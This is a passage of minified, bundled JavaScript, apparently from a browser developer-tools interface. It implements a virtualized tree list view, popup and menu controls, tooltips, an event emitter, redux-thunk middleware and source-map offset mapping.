"+h.additionalClass:""))).tabIndex=-1;H.id="row_"+u;H.setAttribute("data-index",""+u);H.setAttribute("role","treeitem");H.style.height=this._measurements.rowHeight+"px";if(v){H.classList.add("listview-grid-row-selected");H.setAttribute("aria-selected","true")}else H.removeAttribute("aria-selected");h.level&&H.setAttribute("aria-level",String(h.level));h.level&&H.setAttribute("aria-level",String(h.level));(u<this._currentViewport.first?s:l).appendChild(H);if(h.isSeparator){b=h.value;H.appendChild(c("div","listview-horizontal-separator"))}else if(g||h.htmlLinesFileLine&&h.htmlLinesFileLine===f){var C=this._hasIndent?m+(h.hasIcon?-1:1):0,y=c("div","listview-grid-cell listview-grid-cell-indent");y.style.width=C*d.IndentWidth+"px";H.appendChild(y);if(h.hasIcon){k=c("div","listview-grid-cell "+(f<=0?"listview-grid-cell-icon":"listview-grid-cell-icon-space"));f<=0&&h.additionalClass&&(b=this.getLabelForAddedClasses(h.additionalClass)+" ");if(h.iconTooltip){k.setAttribute("data-tooltip",h.iconTooltip);k.classList.add("BPT-Tooltip-Item")}H.appendChild(k)}if(h.buttonItems)for(var E=0;E<h.buttonItems.length;E++){var S=h.buttonItems[E],T=c("div","listview-grid-cell iconShell_16x16 "+S.buttonClass);T.setAttribute("listview-button-index",""+E);var w=c("div","buttonIcon icon_16x16"+(S.isChecked?" checked":""));T.appendChild(w);i.a.setupButton(T,S.isChecked?S.checkedTooltip:S.uncheckedTooltip,S.clickHandler);H.appendChild(T)}if(h.hasChildren){if(h.hasIcon){k.style.marginRight="16px";C+=2}if(-1===f||0===f){(I=c("div","listview-icon-tree")).classList.add(_?"listview-icon-tree-expanded":"listview-icon-tree-collapsed");H.setAttribute("aria-expanded",_?"true":"false");this.addDOMAttrModifiedHandler(H);I.style.left=C*d.IndentWidth-13+"px";H.appendChild(I)}}O=c("div","listview-grid-cell listview-grid-cell-full listview-grid-cell-value");if(-1===f){O.innerText=h.value;b+=h.value}else{O.innerHTML=h.htmlLines[f];if(0===f)for(L=0;L<h.htmlLines.length;L++)b=b+h.htmlLines[L].replace(/<[^>]*>/g,"")+" ";if(v){H.classList.add("listview-grid-row-selected");H.setAttribute("aria-selected","true")}else H.removeAttribute("aria-selected")}H.appendChild(O)}else{if(h.hasIcon){var k;(k=c("div","listview-grid-cell "+(f<=0?"listview-grid-cell-icon":"listview-grid-cell-icon-space"))).style.position="absolute";k.style.left=(m-1)*d.IndentWidth+"px";H.appendChild(k);f<=0&&h.additionalClass&&(b=this.getLabelForAddedClasses(h.additionalClass)+" ")}var x=c("div","listview-grid-cell listview-grid-cell-resize");x.innerText=f<=0?h.name:"";f<=0&&h.name&&(b=b+h.name+" ");x.style.textIndent=(m+1)*d.IndentWidth+"px";x.style.width=this._nameColumnWidth+"px";H.appendChild(x);if(h.hasChildren&&(-1===f||0===f)){var I;(I=c("div","listview-icon-tree")).classList.add(_?"listview-icon-tree-expanded":"listview-icon-tree-collapsed");H.setAttribute("aria-expanded",_?"true":"false");this.addDOMAttrModifiedHandler(H);I.style.left=m*d.IndentWidth+3+"px";H.appendChild(I)}var O=c("div","listview-grid-cell listview-grid-cell-value");if(-1===f){O.innerText=h.value;b+=h.value}else{O.innerHTML=h.htmlLines[f];if(0===f)for(var L=0;L<h.htmlLines.length;L++)b=b+h.htmlLines[L].replace(/<[^>]*>/g,"")+" "}H.appendChild(O)}for(var D=H.querySelectorAll(".BPT-Tooltip-Item"),R=0;R<D.length;R++){var P=D[R];P instanceof HTMLElement&&P.addEventListener("mouseover",e=>{var t=e.srcElement.getAttribute("data-tooltip");a.c({content:t})})}h.hasChildren&&H.classList.add(_?"listview-grid-row-expanded":"listview-grid-row-collapsed");if(-1===f||f===h.htmlLines.length-1){var M=p,A=h.hasSeparator,B=u<n.last&&this.getItem(u+1)&&this.getItem(u+1).isSeparator;if(!A&&p.parentContext){M=p.parentContext;for(;M&&u===this.getIndexOfItem(this._filteredList,M.item)+M.expandedCount;){if(M.item.hasSeparator){A=!0;break}M=M.parentContext}}if(A&&!B){var N=this.getIndent(M),F=c("div","listview-grid-underline");F.style.left=(N-1)*d.IndentWidth+"px";H.appendChild(F)}}H.setAttribute("aria-label",b)}else u===this._currentViewport.first&&(u=this._currentViewport.last);for(u=this._currentViewport.first;u<=this._currentViewport.last;u++)if(u<n.first||u>n.last){var H;if(H=document.getElementById("row_"+u)){if(this._selectedRow===H){if(this.isFocusWithin()){r=this._rootElement.scrollTop;this._rootElement.focus();this._rootElement.scrollTop=r}this._selectedRow=null}H.parentElement.removeChild(H)}}else u===n.first&&(u=n.last);this._gridElement.insertBefore(s,this._gridElement.firstChild);this._gridElement.appendChild(l);this._gridElement.style.height="auto";if(!isNaN(t)){this._selectedIndex=t;this._selectedRow=null}var W=this._selectedIndex>=0&&(this._selectedIndex<n.unboundFirst||this._selectedIndex>n.unboundLast)&&this._selectedIndex>=this._currentViewport.unboundFirst&&this._selectedIndex<=this._currentViewport.unboundLast;if(this._selectedIndex>=0&&!this._selectedRow&&!W){var U=document.getElementById("row_"+this._selectedIndex);U&&(this._selectedRow=U);this.updateGroupLine()}else e&&this.updateGroupLine();this._currentViewport=n;this._ignoreScroll=!1;setTimeout(()=>{this._postRenderCallback&&this._postRenderCallback()});this._onRendered&&this._onRendered();this._rootElement.setAttribute("tabindex",this._filteredList.length>0?"1":"-1")}getItemId(e){var t=e.lastIndexOf("::");t>-1&&(e=e.substring(0,t));return e}getLineIndex(e){var t=-1;if(e){var n=e.lastIndexOf("::");n>-1&&(t=parseInt(e.substring(n+2),10))}return t}getIndexOfItem(e,t,n=!0){var o=this.getItemId(t.id);"consoleItemInput"===t.additionalClass&&n?o+=t.htmlLines&&t.htmlLines.length>0?"::"+(t.htmlLines.length-1).toString():"":o+=t.htmlLines&&t.htmlLines.length>0?"::0":"";return e.indexOf(o)}getItem(e){if(e>=0&&e<this._filteredList.length){var t=this.getItemId(this._filteredList[e]);if(this._dataContextMap[t])return this._dataContextMap[t].item}return null}isFocusWithin(){return this._rootElement.querySelectorAll(":focus").length>0}scrollIndexIntoView(e,t){if(!document.getElementById("row_"+e)||t||e<this._currentViewport.unboundFirst+this._scrollPadding||e>=this._currentViewport.unboundLast-this._scrollPadding-1){if(t)this._rootElement.scrollTop=Math.min(this._filteredList.length*this._measurements.rowHeight-this._rootElement.clientHeight,e*this._measurements.rowHeight);else{var n=this.getItem(e),o=1;n&&n.htmlLines&&(o=n.htmlLines.length);this._rootElement.scrollTop=(e+o+1)*this._measurements.rowHeight-this._rootElement.clientHeight}this.performRender()}}getIndent(e){if(!this._hasIndent)return 0;for(var t=e.item.hasIcon?1:0;e&&e.parentContext;)t+=(e=e.parentContext).item.hasIcon?2:1;return t}updateGroupLine(){var e=!1;if(this._selectedIndex>=0&&this._selectedIndex<this._filteredList.length){var t=this.getItem(this._selectedIndex);if(t){var n=this._dataContextMap[t.id];if(n&&n.expandedCount>(t.htmlLines?t.htmlLines.length-1:0)){this._groupLineElement.style.display="inline-block";this._groupLineElement.style.top=this._selectedIndex*this._measurements.rowHeight+this._measurements.rowHeight+"px";this._groupLineElement.style.left=(this.getIndent(n)+1)*d.IndentWidth-4+"px";this._groupLineElement.style.height=n.expandedCount*this._measurements.rowHeight+1+"px";e=!0}}}e||(this._groupLineElement.style.display="none")}updateContextCounts(e,t,n){for(var o=e;o;){o.descendantCount+=t;o.expandedCount+=n;o=o.parentContext}}spliceArray(e,t,n){for(var o,r=2e5,i=~~(t.length/r),a=0;a<i;a++){var s=a*r;o=[n+s,0].concat(t.slice(s,r));Array.prototype.splice.apply(e,o)}var l=t.length%r;if(l>0){o=[n+(t.length-l),0].concat(t.slice(t.length-l,t.length));Array.prototype.splice.apply(e,o)}}moveSelectionUp(e){if(e){var t=parseInt(this._selectedRow.getAttribute("data-index"),10),n=this.getItem(t),o=this._dataContextMap[n.id];o.parentContext&&this.selectItem(o.parentContext.item)}else{var r=this._selectedIndex-1;r>=0&&r<this._filteredList.length&&this.selectItem(this.getItem(r))}}moveSelectionDown(){var e=this.getSelectedItem(),t=this._selectedIndex+(e.htmlLines&&e.htmlLines.length>0?e.htmlLines.length:1);t>=0&&t<this._filteredList.length&&this.selectItem(this.getItem(t))}onDocumentMouseMove(e){var t=e.clientX-this._separatorStartX;this._nameColumnWidth=Math.max(d.MinColumnSize,this._nameColumnWidth+t);this._separatorElement.style.left=d.SeparatorOffset+this._nameColumnWidth+"px";this._separatorStartX=Math.max(d.MinColumnSize,e.clientX);return!0}onDocumentMouseUp(){this._separatorElement.classList.remove("listview-grid-separator-visible");for(var e=this._gridElement.querySelectorAll(".listview-grid-cell-resize"),t=0;t<e.length;t++)e.item(t).style.width=this._nameColumnWidth+"px";var n=this._gridElement.querySelectorAll(".listview-grid-cell-full-content");for(t=0;t<n.length;t++)n.item(t).style.left=-this._nameColumnWidth+"px";document.removeEventListener("mousemove",this._boundDocMouseMoveCallback);document.removeEventListener("mouseup",this._boundDocMouseUpCallback);return!0}onMouseDown(e){var t=e.target,n=u(t,".listview-grid-row, .listview-grid-separator");if(n)if(n.classList.contains("listview-grid-row")){this.selectRow(n,!0);if(t.classList.contains("listview-grid-cell-clicksection")&&this._clickCallback){var o=parseInt(n.getAttribute("data-index"),10),r=this.getItem(o);r&&this._clickCallback(r,n,t,e.button)}if(t.classList.contains("listview-icon-tree")&&1===e.which){n.focus();this.toggleRow(n)}}else{this._separatorStartX=e.clientX;this._separatorElement.classList.add("listview-grid-separator-visible");this._boundDocMouseMoveCallback=(e=>this.onDocumentMouseMove(e));this._boundDocMouseUpCallback=(()=>this.onDocumentMouseUp());document.addEventListener("mousemove",this._boundDocMouseMoveCallback);document.addEventListener("mouseup",this._boundDocMouseUpCallback)}}onMouseDblClick(e){var t=e.target,n=u(t,".listview-grid-row");if(n&&1===e.which)if(t.classList.contains("listview-grid-cell-editsection")&&this._editCallback){var o=parseInt(n.getAttribute("data-index"),10),r=this.getItem(o);this._editCallback(r,n,t)}else t.classList.contains("listview-icon-tree")||this.toggleRow(n)}onKeyDown(e){if(e.keyCode>=37&&e.keyCode<=40||109===e.keyCode||107===e.keyCode||32===e.keyCode||13===e.keyCode){if(this._selectedIndex>=0){if(!this._selectedRow){this.scrollIndexIntoView(this._selectedIndex,!0);var t=document.getElementById("row_"+this._selectedIndex);t&&this.selectRow(t,!1)}if(!this._selectedRow)return!0;var n=parseInt(this._selectedRow.getAttribute("data-index"),10),o=this.getItem(n);if(!o)return!0;var r=this._dataContextMap[o.id],i=r.descendantCount>(o.htmlLines?o.htmlLines.length-1:0);switch(e.keyCode){case 109:case 37:if(this._hasIndent)if(i)this.toggleRow(this._selectedRow);else{var a=r.parentContext;a&&a.item&&this.getIndex(a.item)>=0&&this.selectItem(a.item)}break;case 38:this.moveSelectionUp();break;case 107:case 39:i||this.toggleRow(this._selectedRow);break;case 40:this.moveSelectionDown();break;case 32:case 13:this.toggleRow(this._selectedRow)}}e.preventDefault();return!1}if(65===e.keyCode&&e.ctrlKey){e.preventDefault();e.stopPropagation();return!1}if(9===e.keyCode){this._isTabbingOut=!0;this._rootElement.focus()}return!0}onFocus(e){this._rootElement.classList.add("listview-grid-focus-within");e.target===this._rootElement&&this._selectedRow&&!this._isTabbingOut&&(this._delayedFocusCookie||(this._delayedFocusCookie=window.setTimeout(()=>{var e=this._rootElement.scrollLeft,t=this._rootElement.scrollTop;this._selectedRow&&this._selectedRow.focus();this._rootElement.scrollLeft=e;this._rootElement.scrollTop=t;clearTimeout(this._delayedFocusCookie);this._delayedFocusCookie=null},d.DelayedRenderInterval)));this._isTabbingOut=!1}onBlur(){this._rootElement.classList.remove("listview-grid-focus-within")}onResize(){this.remeasure();this.requestRender(this._isInitialResize);this._isInitialResize=!1;this._rootElement.scrollTop=this._scrollBottom-this._rootElement.clientHeight}onScroll(){if(!this._ignoreScroll){this._onBeforeScroll&&this._onBeforeScroll();var e=this._rootElement.clientHeight+this._rootElement.scrollTop,t=this._measurements.rowHeight*this._filteredList.length;this._filteredList.length>0&&e>(this._filteredList.length-1)*this._measurements.rowHeight&&(e=t);e<this._scrollBottom?this._autoScrollEnabled=!1:this._autoScrollEnabled||(this._autoScrollEnabled=e>=t);if(e!==this._scrollBottom){this._scrollBottom=e;t>this._rootElement.clientHeight&&this.requestRender()}this._onScrollCompleted&&this._onScrollCompleted()}}expandDescendants(e,t){if(t&&t(e))this.isItemExpanded(e)&&this.toggleRowAt(this.getIndexOfItem(this._filteredList,e));else{this.isItemExpanded(e)||this._toggleCallback(e);if(e.hasChildren)for(var n=this.getItemChildren(e),o=0;n&&o<n.length;o++)this.expandDescendants(n[o],t)}}separatorFilter(e,t){return!e||!t||(!e.isSeparator||!t.isSeparator)}}d.DefaultColumnSize=170;d.IndentWidth=16;d.MaxSpacerSize=15e5;d.MinColumnSize=50;d.SeparatorOffset=8;d.MaxDelayedRenderRequestCount=500;d.DelayedRenderInterval=50;d.EXPAND_ROW=1;d.COLLAPSE_ROW=-1},function(e,t,n){"use strict";n.d(t,"a",function(){return o});n.d(t,"b",function(){return r});n.d(t,"d",function(){return i});n.d(t,"c",function(){return a});n.d(t,"e",function(){return s});const o="ms-browser-extension://",r="$CSE$",i="Diagnostics Script Engine",a="Debugger Script Engine",s="ServiceWorkerHost"},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o extends Error{constructor(e="The operation was canceled."){super(e);this.name="CancelledError"}}},function(e,t,n){"use strict";n.d(t,"a",function(){return i});var o=n(1),r=n(24);class i extends o.PureComponent{render(){return o.createElement(r.a,Object.assign({},this.props),o.createElement("path",{d:"M160 352.438v-256.908l135.22 128.47-135.22 128.438zm32-182.375v107.875l56.766-53.938-56.766-53.937z"}))}}},function(e,t,n){"use strict";var o=n(19),r=n(8),i=n(106),a=n(18);class s extends o.a{constructor(e){super(e)}static initialize(){r.a.defineProperty(s,"targetButtonElement",null,(e,t,n)=>e.onTargetButtonElementChanged(t,n))}onApplyTemplate(){super.onApplyTemplate();this.rootElement&&this.rootElement.classList.add(s.CLASS_POPUP);this.onTargetButtonElementChanged(null,this.targetButtonElement)}onInitializeOverride(){super.onInitializeOverride();this._blurHandler=(e=>this.onBlur(e));this._focusOutHandler=(e=>this.onFocusOut(e));this._keyHandler=(e=>this.onKeyEvent(e));this._mouseHandler=(e=>this.onDocumentMouseHandler(e));this._targetButtonClickHandler=(()=>this.onTargetButtonClick());this._targetButtonKeyHandler=(e=>this.onTargetButtonKeyUp(e));this._windowResizeHandler=(e=>this.onWindowResize(e));this.isVisible=!1}onTemplateChanging(){this.rootElement&&this.rootElement.classList.remove(s.CLASS_POPUP)}onIsVisibleChangedOverride(){super.onIsVisibleChangedOverride();if(this.isVisible){window.setImmediate(()=>{this.rootElement.focus()});this._tabLastPressed=0;if(this.targetButtonElement){this.targetButtonElement.setAttribute("aria-expanded","true");this.disablePopupActiveIndicator||this.targetButtonElement.classList.add(s.CLASS_POPUP_ACTIVE_ONTARGET)}this.setPopupPosition();window.addEventListener("resize",this._windowResizeHandler);document.addEventListener("focusout",this._focusOutHandler,!0);document.addEventListener("mousedown",this._mouseHandler,!0);document.addEventListener("mouseup",this._mouseHandler,!0);document.addEventListener("mousewheel",this._mouseHandler,!0);document.addEventListener("click",this._mouseHandler,!0);this.rootElement.addEventListener("blur",this._blurHandler,!0);this.rootElement.addEventListener("keydown",this._keyHandler);this.rootElement.addEventListener("keyup",this._keyHandler)}else{if(this.targetButtonElement){this.targetButtonElement.setAttribute("aria-expanded","false");this.targetButtonElement.classList.remove(s.CLASS_POPUP_ACTIVE_ONTARGET);this._skipTargetButtonFocus||window.setImmediate(()=>{this.targetButtonElement&&this.targetButtonElement.focus()})}window.removeEventListener("resize",this._windowResizeHandler);document.removeEventListener("focusout",this._focusOutHandler,!0);document.removeEventListener("mousedown",this._mouseHandler,!0);document.removeEventListener("mouseup",this._mouseHandler,!0);document.removeEventListener("mousewheel",this._mouseHandler,!0);document.removeEventListener("click",this._mouseHandler,!0);this.rootElement.removeEventListener("blur",this._blurHandler,!0);this.rootElement.removeEventListener("keydown",this._keyHandler);this.rootElement.removeEventListener("keyup",this._keyHandler)}}onKeyDownOverride(e){return!1}onKeyUpOverride(e){return!1}show(e,t){this.isVisible=!0;if(void 0!==e&&void 0!==t){this.rootElement.style.left=e-this.rootElement.offsetWidth+"px";this.rootElement.style.top=t+"px"}}updatePopupPosition(){this.setPopupPosition()}setPopupPosition(){this.rootElement.style.left="0px";this.rootElement.style.top="0px";if(this.targetButtonElement){for(var e=this.viewportMargin&&this.viewportMargin.top||0,t=window.innerHeight-(this.viewportMargin&&this.viewportMargin.bottom||0),n=this.viewportMargin&&this.viewportMargin.left||0,o=window.innerWidth-(this.viewportMargin&&this.viewportMargin.right||0),r=this.targetButtonElement.getBoundingClientRect(),i=Math.round(r.left),a=Math.round(r.top),l=0,c=0,u=this.rootElement.offsetParent;u;){c+=u.scrollLeft;l+=u.scrollTop;u=u.offsetParent}var d=s.totalOffsetLeft(this.rootElement),h=s.totalOffsetTop(this.rootElement),p=i,m=p+this.rootElement.offsetWidth;if(m>o){var g=i+this.targetButtonElement.offsetWidth,f=g-this.rootElement.offsetWidth;if(f>=n){p=f;m=g}}this.rootElement.style.left=c+p-d+"px";var _=a+this.targetButtonElement.offsetHeight,v=_+this.rootElement.offsetHeight;if(v>t){var b=a,C=b-this.rootElement.offsetHeight;if(C>=e){_=C;v=b}}parseInt(window.getComputedStyle(this.rootElement).borderTopWidth)>0&&parseInt(window.getComputedStyle(this.targetButtonElement).borderBottomWidth)>0&&_--;this.rootElement.style.top=l+_-h+"px"}}static totalOffsetLeft(e){var t=0;do{isNaN(e.offsetLeft)||(t+=e.offsetLeft)}while(e=e.offsetParent);return t}static totalOffsetTop(e){var t=0;do{isNaN(e.offsetTop)||(t+=e.offsetTop)}while(e=e.offsetParent);return t}onBlur(e){this.keepVisibleOnBlur||document.hasFocus()||this._tabLastPressed||this.targetButtonElement&&this.targetButtonElement.contains(e.relatedTarget)||(this.isVisible=!1)}onTargetButtonElementChanged(e,t){if(e){e.removeAttribute("aria-haspopup");e.removeAttribute("aria-owns");e.removeAttribute("aria-expanded");if(this._targetButtonClickEvtReg){this._targetButtonClickEvtReg.unregister();this._targetButtonClickEvtReg=null}e.removeEventListener("click",this._targetButtonClickHandler);e.removeEventListener("keyup",this._targetButtonKeyHandler)}if(t){t.setAttribute("aria-haspopup","true");t.setAttribute("aria-expanded","false");this.rootElement.id||(this.rootElement.id=s.getUniqueID());t.setAttribute("aria-owns",this.rootElement.id);var n=t.control;if(n&&n instanceof i.a){var o=n;this._targetButtonClickEvtReg=o.click.addHandler(this._targetButtonClickHandler)}else{t.addEventListener("click",this._targetButtonClickHandler);t.addEventListener("keyup",this._targetButtonKeyHandler)}}}onTargetButtonClick(){this.show()}onTargetButtonKeyUp(e){if(32===e.keyCode||13===e.keyCode){this.show();e.preventDefault();e.stopImmediatePropagation()}}onWindowResize(e){this.isVisible=!1}onFocusOut(e){var t=0!==this._tabLastPressed||null!==e.relatedTarget,n=e.relatedTarget!==this.rootElement&&!this.rootElement.contains(e.relatedTarget);if(t&&n)if(0!==this._tabLastPressed){var o=this.rootElement.querySelectorAll("[tabindex]"),r=this.rootElement;if(1===this._tabLastPressed)for(var i=0;i<o.length;i++){if((a=o.item(i)).tabIndex>=0&&a.offsetParent){r=a;break}}else for(i=o.length-1;i>=0;i--){var a;if((a=o.item(i)).tabIndex>=0&&a.offsetParent){r=a;break}}window.setImmediate(()=>{r.focus()})}else if(!this.targetButtonElement||!this.targetButtonElement.contains(e.relatedTarget)){this.isVisible=!1;window.setImmediate(()=>{e.target&&e.target.focus()})}return!1}onDocumentMouseHandler(e){var t=this.rootElement.contains(e.target);if(!t){if(this.targetButtonElement&&this.targetButtonElement.contains(e.target)){"click"===e.type&&this.dismissOnTargetButtonClick&&(this.isVisible=!1);e.stopImmediatePropagation();e.preventDefault()}else{var n=document.elementFromPoint(e.x,e.y);if(!(t=this.rootElement.contains(n))){this._skipTargetButtonFocus=!0;try{this.isVisible=!1}finally{this._skipTargetButtonFocus=!1}}}}}onKeyEvent(e){e.stopImmediatePropagation();Object(a.l)(e);this._tabLastPressed=9===e.keyCode?e.shiftKey?2:1:0;if("keyup"===e.type){if(!this.onKeyUpOverride(e))switch(e.keyCode){case 27:this.isVisible=!1}}else"keydown"===e.type&&this.onKeyDownOverride(e);return!1}static getUniqueID(){return"Popup-Control-"+s.CurrentUniqueID++}}s.CLASS_POPUP="BPT-popup";s.CLASS_POPUP_ACTIVE_ONTARGET="BPT-popupActive";s.CurrentUniqueID=0;s.initialize();var l=n(4),c=n(78);n.d(t,"a",function(){return u});class u extends s{constructor(e){super(e||"Common.menuControlTemplate");this._menuItemsClickRegistration=[];this._menuItemsPropChangedRegistration=[];this._selectedIndex=-1;this.menuItems=[]}static initialize(){r.a.defineProperty(u,u.MenuItemsTemplateIdPropertyName,null,(e,t,n)=>e.onMenuTemplateIdChanged(t,n));r.a.defineProperty(u,u.SelectedItemPropertyName,null,e=>e.onSelectedItemChanged())}addClickHandlerToMenuItem(e,t){var n=this.getNamedElement(e);n&&n.control&&n.control.click.addHandler(t)}onInitializeOverride(){super.onInitializeOverride();this._focusInHandler=(e=>this.onFocusIn(e))}onIsVisibleChangedOverride(){if(this.targetButtonElement&&this.rootElement&&this.isVisible)if(this.isMenuContentsLongerThanButton()){this.targetButtonElement.classList.add(u.CLASS_LONG_MENU);this.rootElement.classList.add(u.CLASS_LONG_MENU)}else{this.targetButtonElement.classList.remove(u.CLASS_LONG_MENU);this.rootElement.classList.remove(u.CLASS_LONG_MENU)}super.onIsVisibleChangedOverride();if(this.isVisible){this.rootElement.addEventListener("focusin",this._focusInHandler);this.selectedItem=null;for(var e=0;e<this.menuItems.length;e++)this.menuItems[e].rootElement.classList.remove(u.CLASS_SELECTED);this.focusFirstItemOnShow&&this.menuItems.length>0&&window.setImmediate(()=>{this.menuItems[0].rootElement.focus()})}else this.rootElement.removeEventListener("focusin",this._focusInHandler)}onKeyUpOverride(e){var t=!1;switch(e.keyCode){case 40:this.changeSelection(0);t=!0;break;case 38:this.changeSelection(1);t=!0;break;case 32:case 13:this.pressSelectedItem();t=!0}t||(t=super.onKeyUpOverride(e));return t}setPopupPosition(){super.setPopupPosition();if(this.isMenuContentsLongerThanButton()){var e=parseInt(window.getComputedStyle(this.rootElement).borderTopWidth),t=parseInt(this.rootElement.style.top.replace(/px/,""));this.rootElement.style.top=t-e+"px"}}onMenuItemClick(){this.dismissOnMenuItemClick&&(this.isVisible=!1)}onMenuItemPropertyChanged(e,t){if(("isChecked"===t||"groupName"===t)&&e.groupName&&e.isChecked)for(var n=0;n<this.menuItems.length;n++){var o=this.menuItems[n];o!==e&&o.groupName===e.groupName&&o.isChecked&&(o.isChecked=!1)}}onMenuTemplateIdChanged(e,t){for(;this._menuItemsPropChangedRegistration.length>0;)this._menuItemsPropChangedRegistration.pop().unregister();for(;this._menuItemsClickRegistration.length>0;)this._menuItemsClickRegistration.pop().unregister();if(t){this.menuItems=[];this.selectedItem=null;this._menuItemsPropChangedRegistration=[];this._menuItemsClickRegistration=[];for(var n=this.rootElement.querySelectorAll("li["+c.a.CONTROL+"]"),o=0;o<n.length;o++){var r=n[o];l.a.isTrue(!!r.control,"All menuItemElements must have a control");var i=r.control;this.menuItems.push(i);this._menuItemsPropChangedRegistration.push(i.propertyChanged.addHandler(this.onMenuItemPropertyChanged.bind(this,i)));this._menuItemsClickRegistration.push(i.click.addHandler(this.onMenuItemClick.bind(this)))}}}onSelectedItemChanged(){if(this.selectedItem){var e=this.menuItems.indexOf(this.selectedItem);e!==this._selectedIndex&&this.setSelectedIndex(e,!1)}else this.setSelectedIndex(-1,!1)}onFocusIn(e){for(var t=0;t<this.menuItems.length;t++){if(this.menuItems[t].rootElement.contains(e.target))break}t<this.menuItems.length?this.setSelectedIndex(t,!0):this.menuItems[0]&&this.menuItems[0].rootElement&&this.menuItems[0].rootElement.focus()}changeSelection(e){if(0!==this.menuItems.length){var t,n=0===e?1:-1,o=this.menuItems[this._selectedIndex],r=this._selectedIndex;do{(r=(r+n)%this.menuItems.length)<0&&(r=this.menuItems.length-1);t=this.menuItems[r];if(o){if(t===o)break}else o=t}while(!t.isVisible||!t.isEnabled);t.isVisible&&t.isEnabled&&this.setSelectedIndex(r,!0)}}pressSelectedItem(){var e=this.menuItems[this._selectedIndex];e&&e.press()}setSelectedIndex(e,t){if(this._selectedIndex!=e){this._selectedIndex>=0&&this._selectedIndex<this.menuItems.length&&this.menuItems[this._selectedIndex].rootElement.classList.remove(u.CLASS_SELECTED);this._selectedIndex=e;var n=this.menuItems[this._selectedIndex];if(n){n.rootElement.classList.add(u.CLASS_SELECTED);t&&n.rootElement.focus();this.selectedItem=n}}}isMenuContentsLongerThanButton(){if(this.rootElement&&this.targetButtonElement&&this.isVisible){return this.rootElement.offsetWidth>this.targetButtonElement.offsetWidth}return!1}}u.CLASS_LONG_MENU="longMenu";u.CLASS_SELECTED="selected";u.MenuItemsTemplateIdPropertyName="menuItemsTemplateId";u.SelectedItemPropertyName="selectedItem";u.initialize()},function(e,t,n){"use strict";n.d(t,"a",function(){return r});const o=Symbol("EventEmitter._eventMap");class r{constructor(){r.addMap(this)}static mixin(e){r.addMap(e);e.on=r.prototype.on;e.removeListener=r.prototype.removeListener;e.emit=r.prototype.emit;e.addEventListener=r.prototype.addEventListener;e.removeEventListener=r.prototype.removeListener}static addMap(e){const t=new Map;e[o]=t}on(e,t){const n=this[o];if(!n)throw new TypeError("Expected EventEmitter");let r=n.get(e);if(!r){r=new Set;n.set(e,r)}r.add(t);return this}removeListener(e,t){const n=this[o];if(!n)throw new TypeError("Expected EventEmitter");const r=n.get(e);r&&r.delete(t)}addEventListener(e,t){this.on(e,t);return()=>{this.removeListener(e,t)}}emit(e,t){const n=this[o];if(!n)throw new TypeError("Expected EventEmitter");const r=n.get(e);r&&r.forEach(e=>{e(t)})}}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{constructor(e){this.alertElement=e}setAlertMessage(e){this.alertElement&&(this.alertElement.innerText=e)}}},function(e,t,n){"use strict";n.d(t,"a",function(){return l});var o=n(32),r=n(1),i=n(154);const a=10,s=1;class l extends r.PureComponent{constructor(){super(...arguments);this.tooltipX=0;this.tooltipY=0;this.refHandlers={child:e=>this.child=e};this.handlePointerEnter=(e=>{if(void 0===this.activePointerId){this.activePointerId=e.pointerId;this.updatePosition(e.pageX,e.pageY);this.activeTimeout=setTimeout(this.showTooltip,this.getShowDelay())}});this.handlePointerMove=(e=>{void 0!==this.activePointerId&&this.activePointerId===e.pointerId&&this.updatePosition(e.pageX,e.pageY)});this.handlePointerLeave=(e=>{if(void 0!==this.activePointerId&&this.activePointerId===e.pointerId){this.hideTooltip();this.activePointerId=void 0}this.cleanupTimers()});this.showTooltip=(()=>{let e;e="function"==typeof this.props.text?this.props.text():this.props.text;this.activeTooltipId=this.context.showTooltip(e,this.tooltipX,this.tooltipY);this.activeTimeout=setTimeout(this.hideTooltip,this.getHideDelay())});this.hideTooltip=(()=>{if(void 0!==this.activeTooltipId){this.context.hideTooltip(this.activeTooltipId);this.activeTooltipId=void 0}this.cleanupTimers()})}componentDidMount(){this.child.addEventListener("pointerenter",this.handlePointerEnter);this.child.addEventListener("pointermove",this.handlePointerMove);this.child.addEventListener("pointerleave",this.handlePointerLeave)}componentWillUnmount(){this.child.removeEventListener("pointerenter",this.handlePointerEnter);this.child.removeEventListener("pointermove",this.handlePointerMove);this.child.removeEventListener("pointerleave",this.handlePointerLeave);this.hideTooltip()}render(){const e=r.Children.only(this.props.children);return r.cloneElement(e,{ref:this.refHandlers.child})}getShowDelay(){return Object(i.a)().doubleClickTime}getHideDelay(){return 10*Object(i.a)().doubleClickTime}cleanupTimers(){if(void 0!==this.activeTimeout){clearTimeout(this.activeTimeout);this.activeTimeout=void 0}}updatePosition(e,t){this.tooltipX=e+a;this.tooltipY=t+s}}l.contextTypes={hideTooltip:o.func,showTooltip:o.func}},function(e,t,n){"use strict";t.__esModule=!0;function o(e){return function(t){var n=t.dispatch,o=t.getState;return function(t){return function(r){return"function"==typeof r?r(n,o,e):t(r)}}}}var r=o();r.withExtraArgument=o;t.default=r},,function(e,t,n){"use strict";n.d(t,"c",function(){return i});n.d(t,"a",function(){return a});n.d(t,"b",function(){return s});var o=n(4),r=n(71);class i{constructor(e,t,n,r,a){o.a.isTrue(2===e||1===e,"Invalid sourceType");o.a.hasValue(r&&r.length,"sourceSpans are required");this.sourceType=e;this.text=t;this._originalText=n;this._sourceSpans=r;this.errorMessage=a||n.errorMessage;this._formattedOffsets=i.calculateLineOffsets(t)}static calculateLineOffsets(e){var t=0,n=[];n[t]=0;if(e)for(var o=0;o<e.length;o++)"\n"===e.charAt(o)&&(n[++t]=o+1);return n}getOffsetMappings(){for(var e=[],t=this._sourceSpans[0].sourcemap.allMappings,n=0;n<t.length;n++){var o=t[n];e.push({originalOffset:this._originalText.positionToOffset({line:o.sourceLine,column:o.sourceColumn,file:0}),mappedOffset:this.positionToOffset({line:o.generatedLine,column:o.generatedColumn,file:0})})}return e}getOriginalPosition(e){var t=this.getOriginalOffset(e);return this._originalText.getOriginalPosition(this._originalText.offsetToPosition(t))}getMappedPosition(e){e=this._originalText.getMappedPosition(e);var t,n,i=this._originalText.positionToOffset(e),a=this._originalText.text.length;if(0===a)return new r.a(0,0);i<0&&(i=0);i>=a&&(i=a-1);for(n=0;n<this._sourceSpans.length;n++)if(this._sourceSpans[n].start<=i&&this._sourceSpans[n].end>=i){t=this._sourceSpans[n];break}o.a.isTrue(n<this._sourceSpans.length,"Could not find source code for offset");var 